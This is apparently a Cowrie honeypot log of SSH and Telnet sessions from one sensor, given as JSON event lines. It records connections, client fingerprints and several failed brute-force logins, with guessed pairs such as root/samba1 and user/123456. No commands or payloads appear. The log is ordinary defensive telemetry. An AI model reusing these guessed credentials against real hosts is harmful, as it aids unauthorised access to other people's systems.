{"eventid":"cowrie.login.failed","username":"root","password":"water123","message":"login attempt [root/water123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:31.035231Z","src_ip":"81.9.145.130","session":"eb560212497e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27c9e7397f3","protocol":"telnet","message":"New connection: 152.42.224.71:34108 (10.17.0.5:23) [session: e27c9e7397f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:31.579768Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:32.154909Z","src_ip":"81.9.145.130","session":"eb560212497e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34114,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d3b70b474d","protocol":"telnet","message":"New connection: 152.42.224.71:34114 (10.17.0.5:23) [session: 91d3b70b474d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:33.562594Z"}
{"eventid":"cowrie.session.closed","duration":120.00251293182373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:34.725807Z","src_ip":"152.42.224.71","session":"3af76b7b065b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59678,"dst_ip":"159.203.135.109","dst_port":22,"session":"349970996b82","protocol":"ssh","message":"New connection: 31.40.204.166:59678 (159.203.135.109:22) [session: 349970996b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:35.910763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:35.922733Z","src_ip":"31.40.204.166","session":"349970996b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:36.098715Z","src_ip":"31.40.204.166","session":"349970996b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":35212,"dst_ip":"10.17.0.5","dst_port":22,"session":"b71485feffb1","protocol":"ssh","message":"New connection: 43.156.96.97:35212 (10.17.0.5:22) [session: b71485feffb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:36.196467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:36.200319Z","src_ip":"43.156.96.97","session":"b71485feffb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:36.429668Z","src_ip":"43.156.96.97","session":"b71485feffb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:36.609487Z","src_ip":"31.40.204.166","session":"349970996b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.381243228912354,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:37.238832Z","src_ip":"152.42.224.71","session":"44c9ef59e829","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba1","message":"login attempt [root/samba1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:37.380932Z","src_ip":"43.156.96.97","session":"b71485feffb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:37.782901Z","src_ip":"31.40.204.166","session":"349970996b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:38.614259Z","src_ip":"43.156.96.97","session":"b71485feffb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"93642f9efc39","protocol":"telnet","message":"New connection: 152.42.224.71:46800 (10.17.0.5:23) [session: 93642f9efc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:38.705732Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":48944,"dst_ip":"10.17.0.5","dst_port":22,"session":"883f297a9d33","protocol":"ssh","message":"New connection: 190.85.41.170:48944 (10.17.0.5:22) [session: 883f297a9d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:38.806786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:38.814498Z","src_ip":"190.85.41.170","session":"883f297a9d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:38.889333Z","src_ip":"190.85.41.170","session":"883f297a9d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba1","message":"login attempt [root/samba1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:39.219481Z","src_ip":"190.85.41.170","session":"883f297a9d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b62c5b4724b7","protocol":"telnet","message":"New connection: 152.42.224.71:46812 (10.17.0.5:23) [session: b62c5b4724b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:40.191517Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:40.296718Z","src_ip":"190.85.41.170","session":"883f297a9d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.387187242507935,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:40.991066Z","src_ip":"152.42.224.71","session":"af3dcb8a1299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":48933,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5f6e70f26eb","protocol":"ssh","message":"New connection: 69.164.217.74:48933 (159.203.135.109:22) [session: b5f6e70f26eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:43.481148Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:43.670359Z","src_ip":"69.164.217.74","session":"b5f6e70f26eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"795f2f545cce","protocol":"telnet","message":"New connection: 152.42.224.71:46820 (10.17.0.5:23) [session: 795f2f545cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:45.310553Z"}
{"eventid":"cowrie.session.closed","duration":49.053192138671875,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:45.945766Z","src_ip":"152.42.224.71","session":"16923cf448bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":51730,"dst_ip":"10.17.0.5","dst_port":22,"session":"48a535dc7f35","protocol":"ssh","message":"New connection: 170.106.159.59:51730 (10.17.0.5:22) [session: 48a535dc7f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:46.744816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:46.749980Z","src_ip":"170.106.159.59","session":"48a535dc7f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:46.818755Z","src_ip":"170.106.159.59","session":"48a535dc7f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ovh","message":"login attempt [root/ovh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:47.125444Z","src_ip":"170.106.159.59","session":"48a535dc7f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42996,"dst_ip":"159.203.135.109","dst_port":22,"session":"61cdfe8e67d2","protocol":"ssh","message":"New connection: 31.40.204.166:42996 (159.203.135.109:22) [session: 61cdfe8e67d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:47.687367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:47.692680Z","src_ip":"31.40.204.166","session":"61cdfe8e67d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:47.825623Z","src_ip":"31.40.204.166","session":"61cdfe8e67d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:48.196603Z","src_ip":"170.106.159.59","session":"48a535dc7f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:48.291869Z","src_ip":"31.40.204.166","session":"61cdfe8e67d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:49.605956Z","src_ip":"31.40.204.166","session":"61cdfe8e67d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5342d3d4cc1","protocol":"telnet","message":"New connection: 152.42.224.71:56838 (10.17.0.5:23) [session: f5342d3d4cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:55.200709Z"}
{"eventid":"cowrie.session.closed","duration":56.3779730796814,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:57.186521Z","src_ip":"152.42.224.71","session":"c66135d28265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57660,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ff97a3170a5","protocol":"ssh","message":"New connection: 31.40.204.166:57660 (159.203.135.109:22) [session: 7ff97a3170a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:59.684028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:59.710999Z","src_ip":"31.40.204.166","session":"7ff97a3170a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:59.885148Z","src_ip":"31.40.204.166","session":"7ff97a3170a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:00.419658Z","src_ip":"31.40.204.166","session":"7ff97a3170a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:01.616509Z","src_ip":"31.40.204.166","session":"7ff97a3170a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d97a917e1eb","protocol":"ssh","message":"New connection: 103.91.246.101:60182 (10.17.0.5:22) [session: 4d97a917e1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.526561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.531981Z","src_ip":"103.91.246.101","session":"4d97a917e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.39","src_port":30154,"dst_ip":"159.203.135.109","dst_port":22,"session":"df2ddd49c8c7","protocol":"ssh","message":"New connection: 172.236.228.39:30154 (159.203.135.109:22) [session: df2ddd49c8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.609770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.618022Z","src_ip":"172.236.228.39","session":"df2ddd49c8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:02.683825Z","src_ip":"172.236.228.39","session":"df2ddd49c8c7","protocol":"ssh"}
